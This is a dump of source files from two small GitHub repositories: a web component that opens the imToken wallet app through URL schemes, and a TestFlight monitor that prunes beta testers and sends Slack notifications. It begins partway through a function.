let eventName = 'visibilitychange'
// Opera 12.10 and Firefox 18 and later support
if (typeof document.hidden !== 'undefined') {
property = 'hidden'
eventName = 'visibilitychange'
} else if (typeof (document as any).msHidden !== 'undefined') {
property = 'msHidden'
eventName = 'msvisibilitychange'
} else if (typeof (document as any).webkitHidden !== 'undefined') {
property = 'webkitHidden'
eventName = 'webkitvisibilitychange'
}
const pageChange = (e: any) => {
haveChange = true
if ((document as any)[property] || e.hidden || document.visibilityState === 'hidden') {
// success
} else {
this.fallback()
}
removeEvents()
}
const removeEvents = () => {
document.removeEventListener(eventName, pageChange)
document.removeEventListener('baiduboxappvisibilitychange', pageChange)
}
const addEvents = () => {
document.addEventListener(eventName, pageChange, false)
document.addEventListener('baiduboxappvisibilitychange', pageChange, false)
}
addEvents()
clearTimeout(this.timer)
this.timer = setTimeout(() => {
if (haveChange) {
return
}
removeEvents()
this.fallback()
haveChange = true
}, this.props.timeout)
}
}
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
src/utils.ts | TypeScript | export const isZh = () => {
return /zh/i.test(navigator.language)
}
export const isimToken = () => {
const imToken = (window as any).imToken
return imToken && imToken.version
}
export const isUnSupportScheme = () => {
const ua = navigator.userAgent
const isWechat = /micromessenger\/([\d.]+)/i.test(ua)
const isQQ = /qq\/([\d.]+)/i.test(ua)
return isWechat || isQQ
}
export const isAndroid = () => {
const ua = navigator.userAgent
return /android/i.test(ua)
}
export const isChrome = () => {
const ua = navigator.userAgent
return /chrome\/[\d.]+ Mobile Safari\/[\d.]+/i.test(ua)
}
export const isiOS = () => {
const ua = navigator.userAgent
return /iphone|ipad|ipod/i.test(ua)
}
export const isiPhoneX = () => {
return /iphone/gi.test(navigator.userAgent) && screen.height >= 812
}
export const openByLocation = (url: string) => {
location.href = url
}
export const openByIframe = (url: string) => {
const ifr = document.createElement('iframe')
ifr.src = url
ifr.style.display = 'none'
document.body.appendChild(ifr)
}
export const openByTagA = (url: string) => {
const tagA = document.createElement('a')
tagA.setAttribute('href', url)
tagA.style.display = 'none'
document.body.appendChild(tagA)
tagA.click()
}
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
test/open-app.test.ts | TypeScript | import DummyClass from "../src/open-app"
/**
* Dummy test
*/
describe("Dummy test", () => {
it("works if true is truthy", () => {
expect(true).toBeTruthy()
})
it("DummyClass is instantiable", () => {
expect(new DummyClass()).toBeInstanceOf(DummyClass)
})
})
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
tools/gh-pages-publish.ts | TypeScript | const { cd, exec, echo, touch } = require("shelljs")
const { readFileSync } = require("fs")
const url = require("url")
let repoUrl
let pkg = JSON.parse(readFileSync("package.json") as any)
if (typeof pkg.repository === "object") {
if (!pkg.repository.hasOwnProperty("url")) {
throw new Error("URL does not exist in repository section")
}
repoUrl = pkg.repository.url
} else {
repoUrl = pkg.repository
}
let parsedUrl = url.parse(repoUrl)
let repository = (parsedUrl.host || "") + (parsedUrl.path || "")
let ghToken = process.env.GH_TOKEN
echo("Deploying docs!!!")
cd("docs")
touch(".nojekyll")
exec("git init")
exec("git add .")
exec('git config user.name "xwartz"')
exec('git config user.email "stddup@gmail.com"')
exec('git commit -m "docs(docs): update gh-pages"')
exec(
`git push --force --quiet "https://${ghToken}@${repository}" master:gh-pages`
)
echo("Docs deployed!!")
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
tools/semantic-release-prepare.ts | TypeScript | const path = require("path")
const { fork } = require("child_process")
const colors = require("colors")
const { readFileSync, writeFileSync } = require("fs")
const pkg = JSON.parse(
readFileSync(path.resolve(__dirname, "..", "package.json"))
)
pkg.scripts.prepush = "npm run test:prod && npm run build"
pkg.scripts.commitmsg = "commitlint -E HUSKY_GIT_PARAMS"
writeFileSync(
path.resolve(__dirname, "..", "package.json"),
JSON.stringify(pkg, null, 2)
)
// Call husky to set up the hooks
fork(path.resolve(__dirname, "..", "node_modules", "husky", "lib", "installer", 'bin'), ['install'])
console.log()
console.log(colors.green("Done!!"))
console.log()
if (pkg.repository.url.trim()) {
console.log(colors.cyan("Now run:"))
console.log(colors.cyan(" npm install -g semantic-release-cli"))
console.log(colors.cyan(" semantic-release-cli setup"))
console.log()
console.log(
colors.cyan('Important! Answer NO to "Generate travis.yml" question')
)
console.log()
console.log(
colors.gray(
'Note: Make sure "repository.url" in your package.json is correct before'
)
)
} else {
console.log(
colors.red(
'First you need to set the "repository.url" property in package.json'
)
)
console.log(colors.cyan("Then run:"))
console.log(colors.cyan(" npm install -g semantic-release-cli"))
console.log(colors.cyan(" semantic-release-cli setup"))
console.log()
console.log(
colors.cyan('Important! Answer NO to "Generate travis.yml" question')
)
}
console.log()
| xwartz/open-app | 2 | 🐋 A component for opening imToken app from webpage. | TypeScript | xwartz | xwartz | |
ecosystem.config.js | JavaScript | module.exports = {
apps : [{
name: 'testflight-monitor',
script: './node_modules/.bin/ts-node',
args: '-P tsconfig.json ./src/index',
instances: 1,
autorestart: true,
watch: false,
max_memory_restart: '1G',
env: {
NODE_ENV: 'development'
},
env_production: {
NODE_ENV: 'production'
}
}],
}
| xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz | |
src/config/index.ts | TypeScript | export default {
freq: 1000 * 60 * 0.5, // 0.5min
maxTesterNum: 8000,
removeTesterNum: 200,
}
| xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz | |
src/index.ts | TypeScript | import { v1 } from 'appstoreconnect'
import { readFileSync } from 'fs'
// appstore config
import appstoreConfig from './config/appstore'
import config from './config/index'
// slack config
import slackConfig from './config/slack'
import slack from './lib/slack'
import { asyncForEach, sleep } from './lib/utils'
const privateKey = readFileSync(appstoreConfig.privateKey)
const keyId = appstoreConfig.keyId
const issuerId = appstoreConfig.issuerId
const groupId = appstoreConfig.groupId
const maxTesterNum = config.maxTesterNum
const removeTesterNum = config.removeTesterNum
const freq = config.freq || 1 * 1000 * 60 // 1min
let isSlacked = false
async function start(): Promise<any> {
let timer = null
const polling = async () => {
try {
const token = v1.token(privateKey, issuerId, keyId)
const api = v1(token)
// get testers info
const limit = 200
const testers = await v1.testflight.getAllBetaTesterIDsForBetaGroup(api, groupId, { limit })
const total = testers.meta.paging.total
console.log('testers', testers)
// we need delete some testers
if (total >= maxTesterNum) {
const maxNum = removeTesterNum > limit ? limit : removeTesterNum
const removeTesters = testers.data.slice(0, maxNum)
const removedNum = removeTesters.length
await asyncForEach(removeTesters, async (tester) => {
try {
console.log('deleting tester', tester.id)
await v1.testflight.deleteBetaTester(api, tester.id)
await sleep(500)
} catch (err) {
if (err.message !== 'Unexpected end of JSON input') {
throw err
}
}
})
// await v1.testflight.removeBetaTestersFromBetaGroup(api, groupId, {
// data: removeTesters
// }).catch(err => {
// // handle error
// if (err.message !== 'Unexpected end of JSON input') {
// throw err
// }
// })
console.log('🌝', `we deleted ${removedNum} guys!`)
await slack({ ...slackConfig, reachedNum: total, removedNum })
}
// slack every day
if (slackConfig.reminderHour !== undefined) {
const hours = (new Date()).getHours()
if (hours !== slackConfig.reminderHour) {
isSlacked = false
return
}
if (isSlacked) {
return
}
if (hours === slackConfig.reminderHour) {
await slack({ ...slackConfig, reachedNum: total, removedNum: 0 })
isSlacked = true
}
}
} catch (err) {
console.log('🌚', err)
}
}
await polling()
// tslint:disable-next-line: no-unused-expression
timer && clearTimeout(timer)
timer = setTimeout(start, freq)
}
start()
| xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz | |
src/lib/request.ts | TypeScript | import https from 'https'
interface Options {
readonly data: any
readonly headers: any
readonly hostname: string
readonly method: string
readonly path: string
readonly port: number
}
const request = (options: Options) => {
return new Promise((resolve, reject) => {
const req = https.request(options, (res) => {
let body = ''
res.on('data', (data) => {
body += data
})
res.on('end', () => {
resolve(body)
})
})
req.on('error', (e) => {
reject(e)
})
if (options.method === 'POST') {
req.write(options.data)
}
req.end()
})
}
export default request
| xwartz/testflight-monitor | 7 | 🚑 Manage beta builds of your app, testers, and groups. | TypeScript | xwartz | xwartz |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.